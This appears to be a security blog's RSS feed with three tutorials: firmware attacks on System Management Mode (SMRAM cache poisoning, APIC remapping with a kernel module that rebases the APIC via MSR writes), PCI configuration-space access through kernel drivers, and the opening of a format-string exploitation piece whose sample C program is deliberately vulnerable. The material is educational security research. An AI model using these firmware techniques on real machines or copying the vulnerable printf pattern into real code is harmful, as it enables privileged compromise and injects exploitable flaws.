    mtrr_supported = mtrr_cap &amp; 0xFF;
    fix_range_mtrr = (mtrr_cap &gt;&gt; 8) &amp; 0x1;
    wc_support = (mtrr_cap &gt;&gt; 10) &amp; 0x1;
    smrr_support = (mtrr_cap &gt;&gt; 11) &amp; 0x1;
    printk(KERN_INFO &quot;MTRRCAP is %llx.\n&quot;, mtrr_cap);
    printk(KERN_INFO &quot;Number of MTRR is %d.\n&quot;, mtrr_supported);
    printk(KERN_INFO &quot;Fixed range MTRR support is %x.\n&quot;, fix_range_mtrr);
    printk(KERN_INFO &quot;WC support is %x.\n&quot;, wc_support);
    printk(KERN_INFO &quot;SMRR support is %x.\n&quot;, smrr_support);
    // check MTRRs value
    rdmsrl(IA32_MTRR_PHYBASE0, mtrr_base);
	rdmsrl(IA32_MTRR_PHYMASK0, mtrr_mask);
    printk(KERN_INFO &quot;MTRR Physical base 0 is %llx.\n&quot;, mtrr_base);
    printk(KERN_INFO &quot;MTRR Physical Mask 0 is %llx.\n&quot;, mtrr_mask);

	
    
    return  0;
}</code></pre><p>The output I recieved is following:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/mtrr_out.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Checking first MTRR data</figcaption></figure><p><code>6</code> at end of base represent WB set. Base is 0 for data <code>80000000</code>.</p><p>Now lets move to our cache poising attack study. Basic idea is when the cpu is not in SMM, the cpu cannot write to SMRAM. But if the SMRAM is cached in Write back mode by modifying MTRR to cache SMRAM memory, the cpu only write to the cached version and not in memory. Now, when later SMI occur, the cpu will execute the SMI handler code from cache rather than from SMRAM. Below is the steps mentioned in the research paper by ITL:</p><!--kg-card-begin: markdown--><ul>
<li>The attacker should first modify system MTRR register(s) in order to mark  the region of system memory   where   the   SMRAM   is   located   as cacheable with type Write-Back (WB).</li>
<li>Attacker   now   generates   write   accesses   to physical  addresses  corresponding  to  locations where the SMRAM is located. Those accesses will  now  be  cached,  because we  have marked this   range   of   physical   addresses   as   WB cacheable.   Normally,   physical   addresses corresponding to the location  of SMRAM would be   un-cacheable   and  any  write  accesses  to these  addresses  would  be  dropped  by  the memory controller (chipset).</li>
<li>Finally attacker needs to trigger  an  SMI, which will  transfer  execution  to   the  SMM  code.  The CPU  will start executing the SMM code, but will be  fetching  the instructions from the cache first, before reading them  from DRAM. Because the attacker previously (in point #2) generated write access to SMRAM locations, the CPU  will fetch attacker-provided  data   from   the   cache   and execute them as an SMI handler, with full SMM privileges.</li>
</ul>
<!--kg-card-end: markdown--><p>To prevent this attack Intel has introduced <em>SMRR</em> registers (already discussed above) in 64 bit architecture. SMRR restricts access to the address range defined in the SMRR registers &#xA0;and it takes priority over MTRR in case of overlapping ranges.</p><h3 id="apic-remapping-attack">APIC Remapping attack</h3><p>This is the most recent attack introduced in 2015 by Christopher Domas. To learn about this, we need to first understand the basics of APIC.</p><p>Advanced Programmable Interrupt Controller (APIC) is used to transfer interrupts from PCI devices to processor or in between processors. There are two types of APIC - I/O APIC and local APIC.</p><p><strong>I/O APIC</strong> - The external I/O APIC is part of Intel&#x2019;s system chip set. Its primary function is to receive external interrupt events from the system and its associated I/O devices and relay them to the local APIC as interrupt messages. </p><p><strong>Local APIC</strong> - It receives interrupts from the processor&#x2019;s interrupt pins, from internal sources and from an external I/O APIC (or other external interrupt controller). It sends these to the processor core for handling. In multiple processor (MP) systems, it sends and receives interprocessor interrupt (IPI) messages to and from other logical processors on the system bus. IPI messages can be used to distribute interrupts among the processors in the system or to execute system wide functions (such as, booting up processors or distributing work among a group of processors).</p><p>For this attack, we only care about the local APIC. Software interacts with the local APIC by reading and writing its registers present in Local APIC memory space. APIC registers are memory-mapped to a 4-KByte region of the processor&#x2019;s physical address space with an initial starting address of <code>0xFEE00000</code>. The structure of local APIC memory looks like this </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/apic_map.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Few initial bytes map in APIC memory</figcaption></figure><p>The list of memory map goes beyond the above image. You will found that a lot of registers here are writable. Moving forward, the most important point about local APIC is, it&apos;s relocatable. Using <code>IA32_APIC_BASE</code> MSR someone can enable/disable local APIC as well as rebase it.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/apic_msr.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Domas has found that in x86 processors if APIC base is set to SMRAM base, the memory address will belong to local APIC memory. Hence on next SMI, the code from APIC will get executed since the read request will go to local APIC first which is in procesor rather than to controller where SMRAM is present. Since, lots of local APIC memory bytes are writable, attacker can write a well crafted payload in APIC memory to execute its code.</p><p>You can learn more about this attack from this talk:</p><!--kg-card-begin: html--><iframe width="560" height="315" src="https://www.youtube.com/embed/lR0nh-TdpVg" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><!--kg-card-end: html--><p>You can write a simple module to modify APIC base:</p><pre><code>
#define IA32_APIC_BASE		0x1B


static int my_init(void)
{
	uint64_t apic_base = 0x0;
	uint8_t apic_global = 0;
	uint32_t apic_base_addr = 0;
	uint64_t new_apic_base = 0;
	printk(KERN_INFO &quot;Hello world!.\n&quot;);
	

    rdmsrl(IA32_APIC_BASE, apic_base);
    printk(KERN_INFO &quot;APIC_BASE return %llx.\n&quot;, apic_base);
    apic_global = (apic_base &gt;&gt; 11) &amp; 1;
    // change the constant value
    new_apic_base = 0xab000000 | (apic_global &lt;&lt; 11);
    wrmsrl(IA32_APIC_BASE, new_apic_base);
    apic_base = 0;
    
    rdmsrl(IA32_APIC_BASE, apic_base);
    printk(KERN_INFO &quot;APIC_BASE updated to %llx.\n&quot;, apic_base);
    return  0;
}</code></pre><p>Intel has patched the vulnerability by checking local APIC base with SMRR base while relocating the local APIC. In case the requested base is in the memory address protected by SMRR than the rebase will fail. Hence, most probably if your processor is patched, trying to execute above module will cause a system crash.</p><h3 id="having-vulnerable-bios">Having Vulnerable BIOS</h3><p>The final attack ( and most obvious one) against SMM is the weakness of BIOS. Since SMM code resides in BIOS image, even if the SMRAM is secure, having vulnerable BIOS makes it useless since someone can modify the BIOS, hence SMRAM code.</p><hr><p> There are few other great vulnerability found in last few years in SMM that we haven&apos;t cover. I recommend checking them yourself. We are ending this article here only. You can find the sample codes used in this article <a href="https://github.com/shubham0d/smm-info-drivers?ref=nixhacker.com">here</a>. &#xA0;Stay tuned for more posts on this series.</p><p>References and Further resources:</p><!--kg-card-begin: markdown--><p>Opensecuritytraining BIOS course: <a href="https://opensecuritytraining.info/IntroBIOS.html?ref=nixhacker.com">https://opensecuritytraining.info/IntroBIOS.html</a><br>
Intel software developer manual: <a href="https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html?ref=nixhacker.com">https://software.intel.com/content/www/us/en/develop/articles/intel-sdm.html</a><br>
SMM rootkit: a new breed of OS independent malware: <a href="https://onlinelibrary.wiley.com/doi/pdf/10.1002/sec.166?ref=nixhacker.com">https://onlinelibrary.wiley.com/doi/pdf/10.1002/sec.166</a><br>
SMM cache fun: <a href="https://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf?ref=nixhacker.com">https://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Firmware security 1: Playing with PCI device memory]]></title><description><![CDATA[In this part of the series we will go through the basic of PCI devices and their memory. We will be developing linux kernel driver and using chipsec to analyze the data practically.]]></description><link>http://nixhacker.com/playing-with-pci-device-memory/</link><guid isPermaLink="false">63adf451ba93f615aa877790</guid><category><![CDATA[Firmware]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Rootkits]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 14 Nov 2020 08:15:08 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2020/11/pci-express-receiver-test-pcie.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2020/11/pci-express-receiver-test-pcie.jpg" alt="Firmware security 1: Playing with PCI device memory"><p>In this new series of articles, we will learn about firmware security, i.e things like What included as firmware in a computer? What are the attack vectors? How to protect your firmware? etc. In the first part of the series, I will take you through basic of PCI device and its memory, since everything in firmware somehow depend on them, so you have to learn &#xA0;these before getting more into security specific stuff. </p><p><strong>Setup:</strong> My setup includes:</p><!--kg-card-begin: markdown--><ul>
<li>Intel(R) Core(TM) i5-4210U CPU(4th Gen)</li>
<li>Linux System (kernel 4.19) x86_64</li>
<li>Chipsec Utility</li>
</ul>
<!--kg-card-end: markdown--><h2 id="pci-basics">PCI Basics</h2><p>Peripheral Component Interconnect (PCI) is a specification used for connection of computer buses or peripherals devices in motherboard. It is a 32 bit bus which can support 64 bit data transfer by performing 2 32 bit reads. &#xA0;It is an upgraded replacement of ISA bus which only supports 16 bit data transfer. Now PCI is revised with PCIe with almost similar firmware specification but much improved performance. </p><p>Each PCI bus have devices attached and each device have functions. The topology for PCI bus looks like this:</p><!--kg-card-begin: markdown--><ul>
<li>Upto 256 Bus</li>
<li>Each bus have maximum 32 devices attached</li>
<li>Each device have atmost 8 functions</li>
<li>Buses are connected using Bridges</li>
</ul>
<!--kg-card-end: markdown--><p>A common way to represent a specific device is using the following format B:D:F (eg 00:1f:0 is LPC controller in my system).</p><p>You can check all the PCI devices attached to your processor in linux using <code>lspci</code> command.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/pci1.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>lspci output</figcaption></figure><h2 id="pci-configuration-space">PCI Configuration Space</h2><p>Each PCI device has a PCI Configuration space which is used to store configuration registers. Configuration registers are used for device configuration and communication purposes like identify the device, amount of memory and I/O address space needed by each device, maximum space required by the device etc.</p><p>Each PCI device has upto <em>256 bytes</em> of configuration space whereas PCIe device has <em>256 bytes + 4KB</em> of extended configuration space. Out of 256 bytes, first 40 bytes are header and remaining bytes are device dependent region.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci2.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p> The registers structure of the header looks mostly like this(differ for PCI-to-PCI bridge and CardBus bridge).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/httpatomoreillycomsourceoreillyimages138407.png" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>PCI Config space. Source: <a href="https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch12.html?ref=nixhacker.com#linuxdrive3-CHP-12-FIG-2">oreilly.com</a></figcaption></figure><p>Let&apos;s take a look at few registers description, remaining we will check later when they are required.</p><p><em><strong>Vendor Id</strong></em>: Identifies the manufacturer of the device. For eg: <code>0x8086</code> for intel devices, <code>0x10DE</code> for nvidia device.</p><p><em><strong>Device Id</strong></em>: Identifies the particular device by a vendor.</p><p><em><strong>Header Type</strong></em>: Identifies the layout of the rest of the header that begins at byte <code>0x10</code> of the header and also specifies whether the device has multiple functions. They can be of three types:</p><!--kg-card-begin: markdown--><ul>
<li>Type 0: General Device. (Most common one and the one we care in this article.</li>
<li>Type 1: PCI-to-PCI Bridge</li>
<li>Type 2: Cardbus Bridge</li>
</ul>
<!--kg-card-end: markdown--><p>You can take a look at header structure for each header here: <a href="https://wiki.osdev.org/PCI?ref=nixhacker.com">https://wiki.osdev.org/PCI</a>. </p><h3 id="accessing-pci-device-configuration-space">Accessing PCI device configuration space</h3><p>A PCI device configuration space can be accessed using either a through memory request or I/O request. Most PCI device has both mechanism available but PCIe can only be accessed using memory mapped area (sometime I/O access available for Backward compatibility).</p><!--kg-card-begin: markdown--><p><em><strong>Bit 0 in Command register is set then device will respond to I/O space access.<br>
Bit 1 in Command register is set then device will respond to memory space access.</strong></em></p>
<!--kg-card-end: markdown--><p>The configuration space can only be accessed from kernel mode, so we will create a simple kernel module for everything we perform below.</p><p>A simple layout of kernel module and Makefile for kernel module will look like this:</p><pre><code class="language-C">#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/pci.h&gt;
#include &lt;linux/slab.h&gt;
#include &lt;linux/interrupt.h&gt;

static int my_init(void)
{
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO &quot;Goodbye world.\n&quot;);

    return;
}
   
module_init(my_init);
module_exit(my_exit);

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Shubham Dubey &lt;shubham0d@protonmail.coms&gt;&quot;);
MODULE_DESCRIPTION(&quot;PCI config MMIO driver&quot;);</code></pre><pre><code># Makefile
ifeq ($(KERNELRELEASE),)
		KERNELDIR ?= /lib/modules/$(shell uname -r)/build
		PWD := $(shell pwd)

modules:
		$(MAKE) -C $(KERNELDIR) M=$(PWD) modules EXTRA_CFLAGS=&quot;-g -DDEBUG&quot;
modules_install:
		$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:
		rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

.PHONY: modules modules_install clean

else
        # called from kernel build system: just declare what our modules are
		obj-m := sample_driver.o
endif
</code></pre><p><strong>Configuration space - I/O Access </strong></p><p>Two 32 bit I/O port locations are used to generate configuration space transaction</p><!--kg-card-begin: markdown--><p>0xCF8 (CONFIG_ADDRESS)<br>
0xCFC (CONFIG_DATA)</p>
<!--kg-card-end: markdown--><p><em><code>CONFIG_ADDRESS</code>(equivalent of IN operation) </em>is used to define the specific pci device and offset you want to retrieve. The DWORD data get returned using <em><code>CONFIG_DATA</code>(OUT operation).</em></p><p>32 bit structure for <code>0xCF8</code> defines like this:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci3.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><ul><li>When bit 31 is set, then only all read and write to <em>CONFIG_DATA</em> will be treated as configuration transaction. </li><li>Bit 24:30 are reserved and should return 0 on read.</li><li>You need to define the B::D::F and offset of configuration space to receive the DWORD value present on that device at a given offset.</li></ul><p>We can use <code>inl</code> and <code>outl</code> calls from driver for I/O port operation.</p><pre><code class="language-C">static int my_init(void)
{

	u32 io_addr_response;
	u32 io_data;
	
	uint32_t address;
	//change according to B::D::F value
    uint32_t lbus  = 0x0;
    uint32_t ldevice = 0x1f;
    uint32_t lfunc = 0x0;
    uint8_t offset = 0x10;
	
	printk(KERN_INFO &quot;Hello world.\n&quot;);
	
    // create configuration address as per 
    address = (uint32_t)((lbus &lt;&lt; 16) | (ldevice &lt;&lt; 11) |
              (lfunc &lt;&lt; 8) | (offset &amp; 0xfc) | ((uint32_t)0x80000000));
    
	
	//write the address
	outl(0xCF8, address);
	
	//check if PCI I/O request to device is enable
	io_addr_response = inl(0xcf8);
	io_addr_response = io_addr_response &amp; 80000000;
	if (io_addr_response == 0)
	{
		printk(KERN_INFO &quot;I/O port access for device is not enabled.\n&quot; );
	}
	
	io_data = inl(0xcf8);
	
	printk(KERN_INFO &quot;Data recieved is %x.\n&quot;, io_data);
	
    return  0;
}</code></pre><p></p><p>After loading the driver you can check the output using <code>sudo dmesg|tail</code></p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci3-2.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><blockquote>Note: Above mentioned port I/O transaction will not work with PCIe device because they are mostly only memory mapped. But can work with some for backward compatibilty.</blockquote><p><strong>Verifying your output</strong></p><p>You can verify your output using <a href="https://github.com/chipsec/chipsec?ref=nixhacker.com">chipsec</a> framework. Installation steps are mentioned in repo link.</p><p>To access the pci device configuration space, you can use following command.</p><figure class="kg-card kg-code-card"><pre><code>$sudo python chipsec_util.py pci dump 0 0x1f 0</code></pre><figcaption>Accessing 0::1f::0</figcaption></figure><p>The output will look like this:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/pcii4-1.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>chipsec output</figcaption></figure><p><strong>Configuration space - Memory Access</strong></p><p>Another way to access PCI device configuration space is using memory space. Each device is mapped to physical memory, where normal operations like read, write can be performed. For PCI, the memory access is optional but in PCIe device it is mostly the only way available to access PCI data.</p><p>We can get the memory mapped configuration space using the following process:</p><p>First, find the specific device in the system from list of pci devices.</p><pre><code>dev = pci_get_device(vendor_id, device_id) </code></pre><p>This function scans the list of PCI devices currently present in the system, and if the input arguments match the specified <code>vendor</code> &#xA0;and <code>device</code> IDs, it increments the reference count on the <code>struct pci_dev</code> variable found, and returns it to the caller.</p><p>Access the data in <em>BYTE</em>, <em>WORD</em> or <em>DWORD</em> size.</p><pre><code>int pci_read_config_byte(struct pci_dev *dev, int offset, u8 *val);
int pci_read_config_word(struct pci_dev *dev, int offset, u16 *val);
int pci_read_config_dword(struct pci_dev *dev, int offset, u32 *val);</code></pre><p>Perform write using the following calls:</p><pre><code>int pci_write_config_byte(struct pci_dev *dev, int offset, u8 val);
int pci_write_config_word(struct pci_dev *dev, int offset, u16 val);
int pci_write_config_dword(struct pci_dev *dev, int offset, u32 val);</code></pre><p>After the driver is done with the <code>struct pci_dev</code> returned by the function, it must call the function <em><code>pci_dev_put</code></em> to decrement the usage count properly back to allow the kernel to clean up the device if it is removed.</p><pre><code>pci_dev_put(dev)</code></pre><p></p><p><strong>Finding the vendor id and device name</strong></p><p>You may think that, to find the device using <code>pci_get_device</code> we need <code>vendor_id</code> and <code>device_id</code> but those value can be found on configuration space only. If you don&apos;t have access to configuration space then you can look at device datasheet to get the correct <code>vendor_id</code> and <code>device_id</code>. </p><p>You can also cheat the value from linux pci maintenance code. First <code>0x40</code> bytes are mapped to following file location <code>/sys/bus/pci/devices/0000:B:D.F/config</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci5.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p>Another way already mentioned above is using <em>chipsec</em> tool.</p><p>So, now let&apos;s write the code to retrieve first 4 bytes from device 0:0:0 (DRAM controller in most cases) from MMIO.</p><pre><code class="language-C">static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
    printk(KERN_INFO &quot;Inside driver.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0a0c, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);
	//read dword value from pci device at offset 0x10
	pci_read_config_dword(dev, 0x10, &amp;pci_data);
	printk(KERN_INFO &quot;PCI configuration space data at offset 0x10 is %x.\n&quot;, pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>You will get similar output in <code>dmesg</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci6.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p>Again, you can verify the output using <em>chipsec</em>.</p><h3 id="base-address-registers-finding-the-device-memory">Base Address Registers/ Finding the device memory</h3><p>Base address registers(<em>BAR</em>) starts at an address <code>0x10</code> in the configuration space and will be total 6(BAR[0] to BAR[5]) in number. <em>BARs</em> hold the memory addresses range used by the device. Structure of this register looks like this:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci7.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p>Cleared <em>bit 0</em> indicate the device is &#xA0;mapped at memory location.</p><p>Using above structure, you can derive that, to get the base address, you need to <code>and</code> it with <code>0xFFFFFFF0</code> i.e <code>BA[X] = BAR[X] &amp; 0xFFFFFFF0</code>.</p><p>For 64 bit space <code>BAR[I] = ((BAR[x] &amp; 0xFFFFFFF0) + ((BAR[x+1] &amp; 0xFFFFFFFF) &lt;&lt; 32))</code>.</p><p><strong>BAR limit</strong></p><p>Each memory block defined by <em>BAR</em> has limit along with base address.</p><p>To find the limit, you can write all 1&apos;s in that <em>BAR</em> and <code>~</code>(<em>NOT</em>) the output. i.e <code>~(BAR[X] &amp; 0xFFFFFFFF)</code>.</p><p>Now let&apos;s write a program to get the base address and limit of a BAR.</p><pre><code class="language-C">
static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
    printk(KERN_INFO &quot;Inside driver.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0a0c, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);

	//read dword value from pci deevice
	pci_read_config_dword(dev, 0x10, &amp;pci_data);
	
	// getting the base address
	pci_data = pci_data &amp; 0xFFFFFFF0;
	printk(KERN_INFO &quot;Base address is %x.\n&quot;, pci_data);
	
	// Getting the PIC device BAR limit
	pci_write_config_dword(dev, 0x10, 0xFFFFFFFF);

	pci_read_config_dword(dev, 0x10, &amp;pci_data);
	pci_data = pci_data &amp; 0xFFFFFFF0;
	pci_data = ~pci_data;
	printk(KERN_INFO &quot;BAR limit is %x.\n&quot;, pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>You will receive the similar kind of output in kernel logs:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci8.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p><strong>Verifying the BAR output</strong></p><p>We can read data directly at a physical address using <em>chipsec</em>. To verify &#xA0;if the base address is correct, read that physical memory location before writing the <code>0xFFFFFFFF</code>(to get the BAR limit) to the <em>BAR</em> and check the bytes. After writing to <em>BAR</em>, check the base address again. You will notice the bytes get replaced with <code>0xFF</code>. This happens because after changing the <em>BAR</em>, the device is no longer mapped to the previous location. </p><p>You can use following chipsec syntax to read physical memory</p><pre><code>sudo python chipsec_util.py mem read address no_of_bytes</code></pre><p><em>Ex</em>: For <em>BAR</em> <code>0xc3600004</code>, data at base address before and after changing base address.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/pci8-1.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>Before changing BAR</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/pci9.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>After changing BAR</figcaption></figure><h2 id="pcie-configuration-space">PCIe configuration space</h2><p>Let&apos;s move to more recent protocol PCIe related stuff. PCIe has up to 4kb of configuration space(PCI config space + extended config space), which is always mapped to memory and cannot be accessed using the legacy PCI method (through ports <code>0xCF8</code> and <code>0xCFC</code>). The extended space can be located either just after the 256 byte of configuration space or at MMIO location specify by <em>RCRB</em> (Root Complex Register Block).</p><p>Till now, we have accessed the memory mapped configuration space using <code>pci_read_config_dword()</code> but we can also manually access the physical address where the configuration space is mapped, only if we know the Base address of PCI configuration space. This will also help to access the PCIe configuration space.</p><p>BIOS on boot set <strong><em>PCIEXBAR</em></strong> register(64 bit) to a memory location where it wants the memory controller to start routine to PCI space. The space structure looks like this.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/11/pci10.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"><figcaption>PCI Configuration space structure</figcaption></figure><p>You can use following decoding to read an offset in a PCI device using <em>PCIEXBAR.</em></p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci11.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p><strong>Finding PCIEXBAR</strong>: &#xA0;You can check your processor datasheet to confirm the PCI device and offset, where the <em>PCIEXBAR</em> register is located. For intel processor you can download the datasheets from <a href="https://www.intel.in/content/www/in/en/products/docs/processors/core/core-technical-resources.html?ref=nixhacker.com">here</a>. For the processor that I am using(Intel 4th gen), this register is located at 0:0:0 (DRAM Controller) at offset <code>0x60</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci12.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p>Using the above information, let&apos;s try to access the first 4 bytes of device 0:0:0.</p><pre><code class="language-C">
static int my_init(void)
{
	struct pci_dev *dev;
	u32 pciexbar;
	uint32_t pci_data;
	uint32_t lbus  = 0x0;
    uint32_t ldevice = 0x0;
    uint32_t lfunc = 0x0;
    uint16_t offset = 0x2;
    printk(KERN_INFO &quot;Inside driver.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0A04, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);
	//read PCIEXBAR value
	pci_read_config_dword(dev, 0x60, &amp;pciexbar);
	
	// retrieving pci configuration space starting address
	pciexbar = pciexbar &amp; 0xF0000000;
	printk(KERN_INFO &quot;PCI Configuration space starts at %x.\n&quot;, pciexbar);
	
	// retrieving the DWORD value for pci device 0:0:0 offset 2
	pci_data = (uint32_t)(pciexbar | (lbus &lt;&lt; 20) | (ldevice &lt;&lt; 15) | (lfunc &lt;&lt; 12) | (offset &amp; 0xFFF));
	printk(KERN_INFO &quot;PCI device data is at physical location %x.\n&quot;, pci_data);


	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>You will receive the similar output:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/11/pci15.jpg" class="kg-image" alt="Firmware security 1: Playing with PCI device memory" loading="lazy"></figure><p>You can now retrieve the data using chipsec:</p><pre><code>$sudo python chipsec_util.py mem read 0xe0000002 0x10</code></pre><p>The returned data should be present at configuration space for device 0:0:0 at offset <code>0x2</code>. After 256 bytes you will start seeing the bytes from extended configuration space.</p><p>You can find the sample code from the post <a href="https://github.com/shubham0d/pci-mem-drivers?ref=nixhacker.com">here</a>.</p><p>We have already cover enough stuff about PCI devices memory till now, so it&apos;s time to end this part here. &#xA0;In the next part, we will discuss PCI expansion roms and majorly go through security issues related to PCI based architecture. Stay tuned!!</p><p><strong>Reference</strong>:</p><!--kg-card-begin: markdown--><p><a href="https://opensecuritytraining.info/IntroBIOS.html?ref=nixhacker.com">https://opensecuritytraining.info/IntroBIOS.html</a><br>
<a href="https://wiki.osdev.org/PCI?ref=nixhacker.com">https://wiki.osdev.org/PCI</a><br>
<a href="https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch12.html?ref=nixhacker.com#linuxdrive3-CHP-12-FIG-2">https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch12.html#linuxdrive3-CHP-12-FIG-2</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Impact of x64 calling convention in format string exploitation]]></title><description><![CDATA[In this post I will try to give you a brief on how format string exploitation can differ in 64 bit architecture due to different calling convention in 64 bit.]]></description><link>http://nixhacker.com/case-of-format-string-in-64-bit-is-it-still-critical/</link><guid isPermaLink="false">63adf451ba93f615aa877788</guid><category><![CDATA[Exploit Development]]></category><category><![CDATA[Intel architecture]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Reverse engineering]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Mon, 19 Oct 2020 19:49:02 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2020/10/fmt2.png" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2020/10/fmt2.png" alt="Impact of x64 calling convention in format string exploitation"><p>Format string based vulnerabilities are known since ages but still can be found very easily in softwares and packages till today. The exploitation of format string vulnerability is always easy and can cause at minimum, denial of service to remote code execution. In 64 bit system the format strings exploitation is still present but the basics get changed a little due to 64 bit calling convention. In this post, I will take you through few small changes you will notice if you are trying to exploit format string in 64 bit architecture. </p><h2 id="basics-of-format-string-attack-x32">Basics of Format string attack - x32</h2><p>I will not get much into details of format strings as I expect you have previously come across format string vulnerability at least few times. If not, then just for an exercise, let&apos;s look at a simple format string vulnerability example. </p><p>Assume the following sample code is running in a remote machine with the value of variable <code>password</code> to be anything else:</p><pre><code class="language-C">#include&lt;stdio.h&gt;
int main(){
 
    char input[100];
    char password[10] = &quot;hello&quot;;
 
    printf (&quot;\nEnter your password: &quot;);
    scanf(&quot;%100s&quot;, &amp;input);
    printf(&quot;\n Your string is :&quot;);
    printf(input);
    if (strcmp(password,input,5) == 0){
        printf(&quot;\nYour password is correct\n&quot;);
    }
    else
        {
        printf(&quot;\n Password doesn&apos;t match\n&quot;);
    }
